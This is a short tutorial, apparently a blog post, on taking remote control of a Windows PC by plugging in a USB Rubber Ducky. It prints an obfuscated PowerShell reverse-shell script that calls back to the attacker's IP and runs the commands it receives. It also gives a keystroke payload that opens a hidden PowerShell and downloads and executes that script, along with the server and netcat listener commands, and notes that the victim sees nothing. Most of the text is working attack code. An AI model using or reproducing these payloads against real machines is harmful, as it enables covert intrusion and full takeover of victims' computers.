What is a reverse shell?

A reverse shell (reverse connection) is a technique used in hacking to get remote access to a compromised device.

“Diagram taken from https://sshteam.com/en/conexiones-inversas-y-directas/”

Reverse shell on Windows with the Rubber Ducky

inject.ps1

To create the reverse shell, we are going to use this PowerShell script made by 0iphor13. We have to save it in a file called inject.ps1

$I='192.168.1.142';$P=443;$0LVhbQ=[TyPE]('tExT'+'.enCOD'+'InG');$C=.('New'+'-Obj'+'ect') System.Net.Sockets.TCPClient($I,$P);$S=$C.GetStream();[byte[]]$b=0..65535|&('%'){0};while(($i=$S.Read($b,0,$b.Length))-ne 0){;$d=(&('New'+'-Ob'+'ject') -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);$X=(&('ie'+'x') $d 2>&1 | .('Out'+'-St'+'ring'));$Z=$X+'ReverseDucky '+(&('g'+'l'))+'~ ';$sbt=($0lvHBq::ASCII).GetBytes($Z);$S.Write($sbt,0,$sbt.Length);$S.Flush()};$C.Close()

• The ‘I’ variable must be the attacker’s IP

  $I='192.168.1.142'
  

• The ‘P’ variable must be the port we’ll be listening on, in this case port 443

  $P=443
  

Now, from the folder where we saved the script, we start a Python server on port 80 so we can transfer the script to the target machine

sudo python3 -m http.server 80

Rubber Ducky payload

On the Rubber Ducky side, we are going to use this payload

DELAY 2500
GUI r
DELAY 1000
STRING powershell -w hidden "IEX(New-Object Net.WebClient).downloadString('http://192.168.1.142/inject.ps1')"
ENTER

What this payload does is:

1. Wait 2.5 seconds
2. Press Windows + R to open the Windows Run dialog
3. Wait 1 second for the Run dialog to open
4. Run a command that downloads inject.ps1 from the attacker’s machine, from the Python server we set up earlier, and runs it in the background without showing anything on screen

To encode it to binary we’ll use https://ducktoolkit.com/encode: we paste the script there, select the victim’s keyboard layout, download it and copy it to the Rubber Ducky’s microSD card.

Finally, all that’s left is to listen with netcat on port 443.

sudo nc -nlvp 443

Result

After plugging the USB into the target machine, on the Python server we can see how the Rubber Ducky has made a GET request from the target machine

In the terminal where we were listening on port 443 with nc, we can see that we’ve received a connection from the target machine

Meanwhile, nothing strange can be seen on the target machine

Video of the result: